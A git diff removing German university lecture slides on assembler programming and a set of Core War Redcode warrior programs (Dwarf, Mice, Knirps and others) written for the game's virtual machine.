relativ\\[\smallskipamount] - \lstinline{#} -- unmittelbar\\ - \lstinline{$} -- direkt\\ - \lstinline{@} -- indirekt\\ - \lstinline{<} -- indirekt mit Prä-Dekrement - - \pause[5] - \bigskip - Programm "`Nothing"': - \begin{lstlisting}[gobble=6] - jmp 0 - \end{lstlisting} - \pause - \bigskip - Programm "`Knirps"': - \begin{lstlisting}[gobble=6] - mov 0, 1 - \end{lstlisting} - - \end{minipage} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - Unbedingte Verzweigung - - Beispiel: Endlosschleife von "`Dwarf"' - - \begin{minipage}[t]{1.2cm} - \begin{lstlisting}[style=asm,gobble=6] - bomb - start - \end{lstlisting} - \end{minipage}% - \begin{minipage}[t]{3cm} - \begin{lstlisting}[style=asm,gobble=6] - dat #0 - add #4, bomb - mov bomb, @bomb - jmp start - end start - \end{lstlisting} - \end{minipage}\hfill - \begin{minipage}[t]{3.9cm} - \small - \bigskip - Instruktionen:\\[\smallskipamount] - \lstinline{dat B}\\ - \lstinline{mov A, B}\\ - \lstinline{add A, B}\\ - \lstinline{sub A, B}\\ - \lstinline{jmp A}\\ - \lstinline{jmz A, B} -- "`jump if zero"'\\ - \lstinline{jmn A, B} -- "`if not zero"'\\ - \lstinline{djn A, B} -- "`dec. \& jmn"'\\ - \lstinline{cmp A, B} -- vgl.\ \& überspr.\\ - \lstinline{spl A} -- verzweigen - \end{minipage}% - \begin{minipage}[t]{2.7cm} - \small - \bigskip - Adressierungsarten:\\[\medskipamount] - grundsätzlich:\\ - Speicher relativ\\[\medskipamount] - \lstinline{#} -- unmittelbar\\[\smallskipamount] - \lstinline{$} -- direkt\\[\smallskipamount] - \lstinline{@} -- indirekt\\[\smallskipamount] - \lstinline{<} -- indirekt mit\\ - \hspace*{0.52cm}Prä-Decrement - \end{minipage} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \alt<2->{Mehrere Threads}{Bedingte Verzweigung} - - Beispiel: \alt<2->{Multithreading}{Kopierschleife} von "`Mice"' - - \begin{minipage}[t]{1.2cm} - \begin{lstlisting}[style=asm,gobble=6] - ptr - start - loop - - - - - dest - - \end{lstlisting} - \end{minipage}% - \begin{minipage}[t]{3cm} - \begin{lstlisting}[style=asm,gobble=6] - dat #0 - mov #12, ptr - mov @ptr, <dest - djn loop, ptr - spl @dest - add #653, dest - jmz start, ptr - dat #833 - end start - \end{lstlisting} - \end{minipage}\hfill - \begin{minipage}[t]{3.9cm} - \small - \bigskip - Instruktionen:\\[\smallskipamount] - \lstinline{dat B}\\ - \lstinline{mov A, B}\\ - \lstinline{add A, B}\\ - \lstinline{sub A, B}\\ - \lstinline{jmp A}\\ - \lstinline{jmz A, B} -- "`jump if zero"'\\ - \lstinline{jmn A, B} -- "`if not zero"'\\ - \lstinline{djn A, B} -- "`dec. \& jmn"'\\ - \lstinline{cmp A, B} -- vgl.\ \& überspr.\\ - \lstinline{spl A} -- verzweigen - \end{minipage}% - \begin{minipage}[t]{2.7cm} - \small - \bigskip - Adressierungsarten:\\[\medskipamount] - grundsätzlich:\\ - Speicher relativ\\[\medskipamount] - \lstinline{#} -- unmittelbar\\[\smallskipamount] - \lstinline{$} -- direkt\\[\smallskipamount] - \lstinline{@} -- indirekt\\[\smallskipamount] - \lstinline{<} -- indirekt mit\\ - \hspace*{0.52cm}Prä-Decrement - \end{minipage} - -\end{frame} - -\iffalse - -\begin{frame}[fragile] - - \showsubsection - - Selbstmodifizierender Code - - Beispiel: Selbsterkennung von "`Fini"' - - \begin{minipage}[t]{1.2cm} - \begin{lstlisting}[language={},gobble=6] - num - start - - pos - - \end{lstlisting} - \end{minipage}% - \begin{minipage}[t]{0.9cm} - \begin{lstlisting}[language={},gobble=6] - dat #-2 - mov num, <pos - jmp start - dat - end start - \end{lstlisting} - \end{minipage}\hfill - \begin{minipage}[t]{3.9cm} - \small - \bigskip - Instruktionen:\\[\smallskipamount] - \lstinline{dat B}\\ - \lstinline{mov A, B}\\ - \lstinline{add A, B}\\ - \lstinline{sub A, B}\\ - \lstinline{jmp A}\\ - \lstinline{jmz A, B} -- "`jump if zero"'\\ - \lstinline{jmn A, B} -- "`if not zero"'\\ - \lstinline{djn A, B} -- "`dec. \& jmn"'\\ - \lstinline{cmp A, B} -- vgl.\ \& überspr.\\ - \lstinline{spl A} -- verzweigen - \end{minipage}% - \begin{minipage}[t]{2.7cm} - \small - \bigskip - Adressierungsarten:\\[\medskipamount] - grundsätzlich:\\ - Speicher relativ\\[\medskipamount] - \lstinline{#} -- unmittelbar\\[\smallskipamount] - \lstinline{$} -- direkt\\[\smallskipamount] - \lstinline{@} -- indirekt\\[\smallskipamount] - \lstinline{<} -- indirekt mit\\ - \hspace*{0.52cm}Prä-Decrement - \end{minipage} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \strut - - \strut\makebox(0,0)[bl]{\large\color{structure}\textbf{Praktikumsversuch}} - - \begin{minipage}[t]{5cm} - \medskip - Schreiben Sie ein\\ - Redcode-Programm,\\ - das die Gegner\\ - \file{Nothing}, \file{Knirps}\\ - und \file{Mice} besiegt. - - \medskip - - ICWS-88-Standard,\\ - max.\ 64 Prozesse,\\ - Speichergröße zufällig - - \medskip - - Teams bis zu 3 Personen\\ - sind zulässig. - \end{minipage}\hfill - \begin{minipage}[t]{3.9cm} - \small - \bigskip - Instruktionen:\\[\smallskipamount] - \lstinline{dat B}\\ - \lstinline{mov A, B}\\ - \lstinline{add A, B}\\ - \lstinline{sub A, B}\\ - \lstinline{jmp A}\\ - \lstinline{jmz A, B} -- "`jump if zero"'\\ - \lstinline{jmn A, B} -- "`if not zero"'\\ - \lstinline{djn A, B} -- "`dec. \& jmn"'\\ - \lstinline{cmp A, B} -- vgl.\ \& überspr.\\ - \lstinline{spl A} -- verzweigen - \end{minipage}% - \begin{minipage}[t]{2.7cm} - \small - \bigskip - Adressierungsarten:\\[\medskipamount] - grundsätzlich:\\ - Speicher relativ\\[\medskipamount] - \lstinline{#} -- unmittelbar\\[\smallskipamount] - \lstinline{$} -- direkt\\[\smallskipamount] - \lstinline{@} -- indirekt\\[\smallskipamount] - \lstinline{<} -- indirekt mit\\ - \hspace*{0.52cm}Prä-Decrement - \end{minipage} - -\end{frame} - -\fi - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \item[\textbf{2}] \textbf{Vom Schaltkreis zum Computer} - \begin{itemize} - \item[2.1] Logik-Schaltkreise - \item[2.2] Binärdarstellung von Zahlen - \item[2.3] Vom Logik-Schaltkreis zum Addierer - \item[2.4] Negative Zahlen - \item[2.5] Vom Addierer zum Computer - \item[2.6] Computer-Sprachen - \color{medgreen} - \item[2.7] Programmieren in Assembler - \color{orange} - \item[2.8] Struktur von Assembler-Programmen - \end{itemize} - \color{gray} - \item[\textbf{3}] \textbf{Architekturmerkmale von Prozessoren} - \item[\textbf{4}] \textbf{Der CPU-Stack} -% \item[\textbf{5}] \textbf{Hardwarenahe Programmierung} -% \item[\textbf{6}] \textbf{Anwender-Software} -% \item[\textbf{7}] \textbf{Bus-Systeme} -% \item[\textbf{8}] \textbf{Pipelining} - \item[\textbf{\dots\hspace{-0.75em}}] -% \item[\textbf{9}] \textbf{Ausblick} - \end{itemize} - -\end{frame} - -\end{document} diff --git a/20210518/knirps-2.red b/20210518/knirps-2.red deleted file mode 100644 index b5a57a28b60c802548079829c1d3ee1fae7f3e77..0000000000000000000000000000000000000000 --- a/20210518/knirps-2.red +++ /dev/null @@ -1,5 +0,0 @@ -;name Knirps 2 -;assert 1 - -start mov 0, 2 - end start diff --git a/20210518/logo-hochschule-bochum-cvh-text-v2.pdf b/20210518/logo-hochschule-bochum-cvh-text-v2.pdf deleted file mode 120000 index 4aa99b8f81061aca6dcaf43eed2d9efef40555f8..0000000000000000000000000000000000000000 --- a/20210518/logo-hochschule-bochum-cvh-text-v2.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum-cvh-text-v2.pdf \ No newline at end of file diff --git a/20210518/logo-hochschule-bochum.pdf b/20210518/logo-hochschule-bochum.pdf deleted file mode 120000 index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000 --- a/20210518/logo-hochschule-bochum.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum.pdf \ No newline at end of file diff --git a/20210518/pgslides.sty b/20210518/pgslides.sty deleted file mode 120000 index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000 --- a/20210518/pgslides.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgslides.sty \ No newline at end of file diff --git a/20210518/rtech-20210518.pdf b/20210518/rtech-20210518.pdf deleted file mode 100644 index f7e0947fb5287c05a206d325cdceb3eaf48585e8..0000000000000000000000000000000000000000 Binary files a/20210518/rtech-20210518.pdf and /dev/null differ diff --git a/20210518/rtech-20210518.tex b/20210518/rtech-20210518.tex deleted file mode 100644 index f2bded5dfd88b06242f50dc928577c0b7dff3c2f..0000000000000000000000000000000000000000 --- a/20210518/rtech-20210518.tex +++ /dev/null @@ -1,523 +0,0 @@ -% rtech-20210518.pdf - Lecture Slides on Computer Technology -% Copyright (C) 2012, 2013, 2014, 2021 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -% README: Programmieren in Assembler: Krieg der Kerne - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} - -\lstdefinestyle{asm}{basicstyle=\color{structure}, - language={}, - gobble=4} - -\title{Rechnertechnik} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{18.\ Mai 2021} - -\begin{document} - -\maketitleframe - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \item[\textbf{2}] \textbf{Vom Schaltkreis zum Computer} - \begin{itemize} - \item[2.1] Logik-Schaltkreise - \item[2.2] Binärdarstellung von Zahlen - \item[2.3] Vom Logik-Schaltkreis zum Addierer - \item[2.4] Negative Zahlen - \item[2.5] Vom Addierer zum Computer - \item[2.6] Computer-Sprachen - \color{medgreen} - \item[2.7] Programmieren in Assembler - \color{orange} - \item[2.8] Struktur von Assembler-Programmen - \end{itemize} - \color{gray} - \item[\textbf{3}] \textbf{Architekturmerkmale von Prozessoren} - \item[\textbf{4}] \textbf{Der CPU-Stack} -% \item[\textbf{5}] \textbf{Hardwarenahe Programmierung} -% \item[\textbf{6}] \textbf{Anwender-Software} -% \item[\textbf{7}] \textbf{Bus-Systeme} -% \item[\textbf{8}] \textbf{Pipelining} - \item[\textbf{\dots\hspace{-0.75em}}] -% \item[\textbf{9}] \textbf{Ausblick} - \end{itemize} - -\end{frame} - -\setcounter{section}{1} -\section{Vom Schaltkreis zum Computer} -\setcounter{subsection}{6} -\subsection{Programmieren in Assembler} - -\begin{frame}[fragile] - - \showsubsection - - Cross-Entwicklung - \begin{itemize} - \item - Programmieren auf PC - \item - Compilieren auf PC: - \begin{lstlisting}[style=cmd,gobble=8] - avr-gcc -Wall -Os -mmcu=atmega328p blink.c -o blink.elf - \end{lstlisting} - \item - Speicherabbild auf PC erstellen: - \begin{lstlisting}[style=cmd,gobble=8] - avr-objcopy -O ihex blink.elf blink.hex - \end{lstlisting} - \item - Speicherabbild auf den Mikrocontroller herunterladen: - \begin{lstlisting}[style=cmd,gobble=8] - avrdude -P /dev/ttyACM0 -c arduino -p m328p \ - -U flash:w:blink.hex - \end{lstlisting} - \medskip - \item - Präprozessor auf PC: - \begin{lstlisting}[style=cmd,gobble=8] - avr-gcc -Wall -Os -mmcu=atmega328p blink.c \ - -E -o blink.E - \end{lstlisting} - \item - Compilieren auf PC, Assembler-Quelltext erzeugen: - \begin{lstlisting}[style=cmd,gobble=8] - avr-gcc -Wall -Os -mmcu=atmega328p blink.c -S - \end{lstlisting} - \end{itemize} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - C nach Assembler übersetzen: - \begin{lstlisting}[style=terminal] - $ ¡gcc -S pruzzel.c¿ - \end{lstlisting} - erzeugt \file{pruzzel.s},\\ - Assembler für den Standard-Prozessor\\ - (hier: 64-Bit-AMD-Architektur -- amd64). - - \bigskip -% \pause - - \begin{lstlisting}[style=terminal] - $ ¡avr-gcc -S pruzzel.c¿ - \end{lstlisting} - erzeugt \file{pruzzel.s},\\ - Assembler für 8-Bit-Atmel-AVR-Prozessoren. - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - C-Programme auf Assembler-Ebene debuggen: - \begin{lstlisting}[style=terminal] - $ ¡gcc -g pruzzel.c -o pruzzel¿ - $ ¡gdb -tui ./pruzzel¿ - (gdb) ¡break main¿ - (gdb) ¡run¿ - (gdb) ¡layout split¿ - (gdb) ¡nexti¿ - \end{lstlisting} - -\end{frame} - -\subsection{Struktur von Assembler-Programmen} - -\begin{frame}[fragile] - - \showsubsection - - Beispiel 1: IA-32-Assembler \only<3>{-- Adressierungsarten} - - \vspace{2cm} - - \begin{lstlisting} - addl $1, %eax - movb %al, b - cmpb (%ebx), %dl - jbe .L2 - \end{lstlisting} - - \begin{onlyenv}<2-3> - \begin{picture}(0,0) - \color{red} - \put(0.4,2.8){\vector(0,-1){0.7}} - \put(0.4,2.9){\makebox(0,0)[b]{Befehl}} - \only<2>{% - \put(1.4,2.8){\vector(-1,-1){0.7}} - \put(2.3,2.9){\makebox(0,0)[b]{Größen-Suffix}}} - \only<3>{% - \put(1.4,2.8){\vector(-1,-2){0.35}} - \put(1.4,2.8){\vector(1,-2){0.35}} - \put(2.0,2.9){\makebox(0,0)[b]{Operanden}}} - \end{picture} - \end{onlyenv} - \begin{onlyenv}<4> - \begin{picture}(0,0) - \color{red} - \put(1.4,2.8){\vector(-1,-2){0.35}} - \put(2.0,2.9){\makebox(0,0)[b]{unmittelbar}} - \put(3.0,1.8){\vector(-1,0){0.7}} - \put(3.1,1.8){\makebox(0,0)[l]{Register}} - \put(4.8,1.4){\vector(-1,0){2.7}} - \put(4.9,1.4){\makebox(0,0)[l]{Speicher (absolut)}} - \put(2.3,-0.0){\vector(-1,1){0.7}} - \put(3.5,-0.1){\makebox(0,0)[t]{indirekt mit Register}} - \put(0.8,-0.6){\vector(0,1){0.9}} - \put(0.0,-0.7){\makebox(0,0)[tl]{Speicher (relativ)}} - \end{picture} - \end{onlyenv} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - Beispiel 2: Redcode (ICWS '88) -- Core War[s] (Krieg der Kerne)\\ - Virtuelle Maschine: Memory Array Redcode Simulator (MARS) - - \bigskip - - \begin{minipage}[t]{7.2cm} - Instruktionen:\\[\smallskipamount] - \lstinline{dat B} -- Daten \only<1->{-- "`Du hast verloren!"'}\\ - \lstinline{mov A, B} -- kopiere A nach B\\ - \lstinline{add A, B} -- addiere A zu B\\ - \lstinline{sub A, B} -- subtrahiere A von B\\ - \lstinline{jmp A} -- unbedingter Sprung nach A\\ - \lstinline{jmz A, B} -- Sprung nach A, wenn B $=$ 0\\ - \lstinline{jmn A, B} -- Sprung nach A, wenn B $\ne$ 0\\ - \lstinline{djn A, B} -- "`decrement and jump if not zero"'\\ - \lstinline{cmp A, B} -- "`compare"': überspringe, falls gleich\\ - \lstinline{spl A} -- "`split"': Programm verzweigen - \end{minipage}\hfill - \begin{minipage}[t]{4.7cm} - Adressierungsarten:\\[\smallskipamount] - grundsätzlich: Speicher relativ\\[\smallskipamount] - \lstinline{#} -- unmittelbar\\ - \lstinline{$} -- direkt\\ - \lstinline{@} -- indirekt\\ - \lstinline{<} -- indirekt mit Prä-Dekrement - -% \pause[5] - \bigskip - Programm "`Nothing"': - \begin{lstlisting}[gobble=6] - jmp 0 - \end{lstlisting} -% \pause - \bigskip - Programm "`Knirps"': - \begin{lstlisting}[gobble=6] - mov 0, 1 - \end{lstlisting} - - \end{minipage} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - Unbedingte Verzweigung - - Beispiel: Endlosschleife von "`Dwarf"' - - \begin{minipage}[t]{1.2cm} - \begin{lstlisting}[style=asm,gobble=6] - bomb - start - \end{lstlisting} - \end{minipage}% - \begin{minipage}[t]{3cm} - \begin{lstlisting}[style=asm,gobble=6] - dat #0 - add #4, bomb - mov bomb, @bomb - jmp start - end start - \end{lstlisting} - \end{minipage}\hfill - \begin{minipage}[t]{3.9cm} - \small - \bigskip - Instruktionen:\\[\smallskipamount] - \lstinline{dat B}\\ - \lstinline{mov A, B}\\ - \lstinline{add A, B}\\ - \lstinline{sub A, B}\\ - \lstinline{jmp A}\\ - \lstinline{jmz A, B} -- "`jump if zero"'\\ - \lstinline{jmn A, B} -- "`if not zero"'\\ - \lstinline{djn A, B} -- "`dec. \& jmn"'\\ - \lstinline{cmp A, B} -- vgl.\ \& überspr.\\ - \lstinline{spl A} -- verzweigen - \end{minipage}% - \begin{minipage}[t]{2.7cm} - \small - \bigskip - Adressierungsarten:\\[\medskipamount] - grundsätzlich:\\ - Speicher relativ\\[\medskipamount] - \lstinline{#} -- unmittelbar\\[\smallskipamount] - \lstinline{$} -- direkt\\[\smallskipamount] - \lstinline{@} -- indirekt\\[\smallskipamount] - \lstinline{<} -- indirekt mit\\ - \hspace*{0.52cm}Prä-Decrement - \end{minipage} - -\end{frame} - -\iffalse - -\begin{frame}[fragile] - - \showsubsection - - \alt<2->{Mehrere Threads}{Bedingte Verzweigung} - - Beispiel: \alt<2->{Multithreading}{Kopierschleife} von "`Mice"' - - \begin{minipage}[t]{1.2cm} - \begin{lstlisting}[style=asm,gobble=6] - ptr - start - loop - - - - - dest - - \end{lstlisting} - \end{minipage}% - \begin{minipage}[t]{3cm} - \begin{lstlisting}[style=asm,gobble=6] - dat #0 - mov #12, ptr - mov @ptr, <dest - djn loop, ptr - spl @dest - add #653, dest - jmz start, ptr - dat #833 - end start - \end{lstlisting} - \end{minipage}\hfill - \begin{minipage}[t]{3.9cm} - \small - \bigskip - Instruktionen:\\[\smallskipamount] - \lstinline{dat B}\\ - \lstinline{mov A, B}\\ - \lstinline{add A, B}\\ - \lstinline{sub A, B}\\ - \lstinline{jmp A}\\ - \lstinline{jmz A, B} -- "`jump if zero"'\\ - \lstinline{jmn A, B} -- "`if not zero"'\\ - \lstinline{djn A, B} -- "`dec. \& jmn"'\\ - \lstinline{cmp A, B} -- vgl.\ \& überspr.\\ - \lstinline{spl A} -- verzweigen - \end{minipage}% - \begin{minipage}[t]{2.7cm} - \small - \bigskip - Adressierungsarten:\\[\medskipamount] - grundsätzlich:\\ - Speicher relativ\\[\medskipamount] - \lstinline{#} -- unmittelbar\\[\smallskipamount] - \lstinline{$} -- direkt\\[\smallskipamount] - \lstinline{@} -- indirekt\\[\smallskipamount] - \lstinline{<} -- indirekt mit\\ - \hspace*{0.52cm}Prä-Decrement - \end{minipage} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - Selbstmodifizierender Code - - Beispiel: Selbsterkennung von "`Fini"' - - \begin{minipage}[t]{1.2cm} - \begin{lstlisting}[language={},gobble=6] - num - start - - pos - - \end{lstlisting} - \end{minipage}% - \begin{minipage}[t]{0.9cm} - \begin{lstlisting}[language={},gobble=6] - dat #-2 - mov num, <pos - jmp start - dat - end start - \end{lstlisting} - \end{minipage}\hfill - \begin{minipage}[t]{3.9cm} - \small - \bigskip - Instruktionen:\\[\smallskipamount] - \lstinline{dat B}\\ - \lstinline{mov A, B}\\ - \lstinline{add A, B}\\ - \lstinline{sub A, B}\\ - \lstinline{jmp A}\\ - \lstinline{jmz A, B} -- "`jump if zero"'\\ - \lstinline{jmn A, B} -- "`if not zero"'\\ - \lstinline{djn A, B} -- "`dec. \& jmn"'\\ - \lstinline{cmp A, B} -- vgl.\ \& überspr.\\ - \lstinline{spl A} -- verzweigen - \end{minipage}% - \begin{minipage}[t]{2.7cm} - \small - \bigskip - Adressierungsarten:\\[\medskipamount] - grundsätzlich:\\ - Speicher relativ\\[\medskipamount] - \lstinline{#} -- unmittelbar\\[\smallskipamount] - \lstinline{$} -- direkt\\[\smallskipamount] - \lstinline{@} -- indirekt\\[\smallskipamount] - \lstinline{<} -- indirekt mit\\ - \hspace*{0.52cm}Prä-Decrement - \end{minipage} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \strut - - \strut\makebox(0,0)[bl]{\large\color{structure}\textbf{Ehemaliger Praktikumsversuch (2014)}} - \hfill Inspiration für Projekt? - - \begin{minipage}[t]{5cm} - \medskip - Schreiben Sie ein\\ - Redcode-Programm,\\ - das die Gegner\\ - \file{Nothing}, \file{Knirps}\\ - und \file{Mice} besiegt. - - \medskip - - ICWS-88-Standard,\\ - max.\ 64 Prozesse,\\ - Speichergröße zufällig - - \medskip - - Teams bis zu 3 Personen\\ - sind zulässig. - \end{minipage}\hfill - \begin{minipage}[t]{3.9cm} - \small - \bigskip - Instruktionen:\\[\smallskipamount] - \lstinline{dat B}\\ - \lstinline{mov A, B}\\ - \lstinline{add A, B}\\ - \lstinline{sub A, B}\\ - \lstinline{jmp A}\\ - \lstinline{jmz A, B} -- "`jump if zero"'\\ - \lstinline{jmn A, B} -- "`if not zero"'\\ - \lstinline{djn A, B} -- "`dec. \& jmn"'\\ - \lstinline{cmp A, B} -- vgl.\ \& überspr.\\ - \lstinline{spl A} -- verzweigen - \end{minipage}% - \begin{minipage}[t]{2.7cm} - \small - \bigskip - Adressierungsarten:\\[\medskipamount] - grundsätzlich:\\ - Speicher relativ\\[\medskipamount] - \lstinline{#} -- unmittelbar\\[\smallskipamount] - \lstinline{$} -- direkt\\[\smallskipamount] - \lstinline{@} -- indirekt\\[\smallskipamount] - \lstinline{<} -- indirekt mit\\ - \hspace*{0.52cm}Prä-Decrement - \end{minipage} - -\end{frame} - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \item[\textbf{2}] \textbf{Vom Schaltkreis zum Computer} - \begin{itemize} - \item[2.1] Logik-Schaltkreise - \item[2.2] Binärdarstellung von Zahlen - \item[2.3] Vom Logik-Schaltkreis zum Addierer - \item[2.4] Negative Zahlen - \item[2.5] Vom Addierer zum Computer - \item[2.6] Computer-Sprachen - \item[2.7] Programmieren in Assembler - \color{medgreen} - \item[2.8] Struktur von Assembler-Programmen - \end{itemize} - \color{gray} - \item[\textbf{3}] \textbf{Architekturmerkmale von Prozessoren} - \item[\textbf{4}] \textbf{Der CPU-Stack} -% \item[\textbf{5}] \textbf{Hardwarenahe Programmierung} -% \item[\textbf{6}] \textbf{Anwender-Software} -% \item[\textbf{7}] \textbf{Bus-Systeme} -% \item[\textbf{8}] \textbf{Pipelining} - \item[\textbf{\dots\hspace{-0.75em}}] -% \item[\textbf{9}] \textbf{Ausblick} - \end{itemize} - -\end{frame} - -\fi - -\end{document} diff --git a/20210525/catcan.red b/20210525/catcan.red deleted file mode 100644 index 74cbb3d1388d9cd0ee089b4b0ecba9a6eda30f3b..0000000000000000000000000000000000000000 --- a/20210525/catcan.red +++ /dev/null @@ -1,23 +0,0 @@ -;name Cat Can -;author A. Kirchner, F. Uy -;assert 1 -; -; Your basic two sweep methodical bomber. -; Fires SPL 0 and JMP -1 at every eight -; addresses, then erases the core with -; DAT bombs. - -start mov trap2, < bomb - mov trap1, < bomb - sub # 6, bomb - jmn start, bomb ; trap loop -set mov # -12, bomb -kill mov bomb, @ bomb - djn kill, bomb ; kill loop -reset jmp set, 0 - jmp set, 0 - dat # 0, # 0 ; buffer -bomb dat # 0, # -1024 -trap1 spl 0, 2 -trap2 jmp -1, 1 - end start diff --git a/20210525/dwarf.red b/20210525/dwarf.red deleted file mode 100644 index cac740afd6d0e12d5776948e5f05b3dc24f8f6c3..0000000000000000000000000000000000000000 --- a/20210525/dwarf.red +++ /dev/null @@ -1,14 +0,0 @@ -;redcode -;name Dwarf -;author A. K. Dewdney -;strategy Throw DAT bombs around memory, hitting every 4th memory cell. -;strategy This program was presented in the first Corewar article. - -bomb DAT #0 -dwarf ADD #4, bomb - MOV bomb, @bomb - JMP dwarf - END dwarf ; Programs start at the first line unless - ; an "END start" pseudo-op appears to indicate - ; the first logical instruction. Also, nothing - ; after the END instruction will be assembled. diff --git a/20210525/dwarf2.red b/20210525/dwarf2.red deleted file mode 100644 index a8b92b9f19e3221dd851fca53b8c94272166972b..0000000000000000000000000000000000000000 --- a/20210525/dwarf2.red +++ /dev/null @@ -1,17 +0,0 @@ -;redcode -;name Dwarf -;author A. K. Dewdney, P. Gerwinski -;strategy Throw DAT bombs around memory, hitting every 4th memory cell. -;strategy This program was presented in the first Corewar article. - -; Variante, die bessere Chancen gegen Knirps hat - -bomb DAT #1 - DAT #0 ; Knirps-Falle -dwarf ADD #4, bomb - MOV bomb, @bomb - JMP dwarf - END dwarf ; Programs start at the first line unless - ; an "END start" pseudo-op appears to indicate - ; the first logical instruction. Also, nothing - ; after the END instruction will be assembled. diff --git a/20210525/dwarf3.red b/20210525/dwarf3.red deleted file mode 100644 index f73203c1494aea636e0e3a742e7c891139217c14..0000000000000000000000000000000000000000 --- a/20210525/dwarf3.red +++ /dev/null @@ -1,17 +0,0 @@ -;redcode -;name Dwarf -;author A. K. Dewdney, P. Gerwinski -;strategy Throw DAT bombs around memory, hitting every 4th memory cell. -;strategy This program was presented in the first Corewar article. - -; Variante, die noch bessere Chancen gegen Knirps hat ... oder auch nicht ... ?!? - -bomb DAT #1 - DAT #0 ; Knirps-Falle -dwarf ADD #5, bomb - MOV bomb, <bomb - JMP dwarf - END dwarf ; Programs start at the first line unless - ; an "END start" pseudo-op appears to indicate - ; the first logical instruction. Also, nothing - ; after the END instruction will be assembled. diff --git a/20210525/gemini.red b/20210525/gemini.red deleted file mode 100644 index 9159b61aaf984a51418b4e9d34c6ca23d001b428..0000000000000000000000000000000000000000 --- a/20210525/gemini.red +++ /dev/null @@ -1,15 +0,0 @@ -;name Gemini -;assert 1 - -dat1 dat #0 -dat2 dat #99 -start mov @dat1, @dat2 - add #1, dat1 - add #1, dat2 - cmp dat1, dat3 - jmp start - mov #99, 94 - jmp 94 -dat3 dat #10 - - end start diff --git a/20210525/knirps-2.red b/20210525/knirps-2.red deleted file mode 100644 index b5a57a28b60c802548079829c1d3ee1fae7f3e77..0000000000000000000000000000000000000000 --- a/20210525/knirps-2.red +++ /dev/null @@ -1,5 +0,0 @@ -;name Knirps 2 -;assert 1 - -start mov 0, 2 - end start diff --git a/20210525/knirps.red b/20210525/knirps.red deleted file mode 100644 index befaa2a3da9a8cab5e76207623ac49880453b472..0000000000000000000000000000000000000000 --- a/20210525/knirps.red +++ /dev/null @@ -1,5 +0,0 @@ -;name Knirps -;assert 1 - -start mov 0, 1 - end start diff --git a/20210525/logo-hochschule-bochum-cvh-text-v2.pdf b/20210525/logo-hochschule-bochum-cvh-text-v2.pdf deleted file mode 120000 index 4aa99b8f81061aca6dcaf43eed2d9efef40555f8..0000000000000000000000000000000000000000 --- a/20210525/logo-hochschule-bochum-cvh-text-v2.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum-cvh-text-v2.pdf \ No newline at end of file diff --git a/20210525/logo-hochschule-bochum.pdf b/20210525/logo-hochschule-bochum.pdf deleted file mode 120000 index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000 --- a/20210525/logo-hochschule-bochum.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum.pdf \ No newline at end of file diff --git a/20210525/mice-jump.red b/20210525/mice-jump.red deleted file mode 100644 index cf87490b286a58775806d7297e3af89afd556673..0000000000000000000000000000000000000000 --- a/20210525/mice-jump.red +++ /dev/null @@ -1,13 +0,0 @@ -;name Mice -;author Chip Wendell, P. Gerwinski -;assert 1 - -ptr dat #0 -start mov #12, ptr ; n = 12 -loop mov @ptr, <dest ; *dest = *(ptr+(*ptr)) - djn loop, ptr ; if(--ptr != 0) - ; goto loop - jmp @dest ; jump(*dest) -dest dat #833 - - end start diff --git a/20210525/mice.red b/20210525/mice.red deleted file mode 100644 index 0b17fb8c6db22239bf870c841e600a24f82a2216..0000000000000000000000000000000000000000 --- a/20210525/mice.red +++ /dev/null @@ -1,16 +0,0 @@ -;name Mice -;author Chip Wendell -;assert 1 - -ptr dat #0 -start mov #12, ptr ; n = 12 -loop mov @ptr, <dest ; *dest = *(ptr+(*ptr)) - djn loop, ptr ; if(--ptr != 0) - ; goto loop - spl @dest ; split(*dest) - add #653, dest ; dest += 653 - jmz start, ptr ; if(!ptr) - ; goto start -dest dat #833 - - end start diff --git a/20210525/nothing.red b/20210525/nothing.red deleted file mode 100644 index 5d6f3c21f2f19c3929c675c21b1e9a8ff47d8bf1..0000000000000000000000000000000000000000 --- a/20210525/nothing.red +++ /dev/null @@ -1,5 +0,0 @@ -;name Nothing -;assert 1 - -start jmp 0 - end start diff --git a/20210525/pgslides.sty b/20210525/pgslides.sty deleted file mode 120000 index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000 --- a/20210525/pgslides.sty +++ /dev/null @@ -1 +0,0 @@ 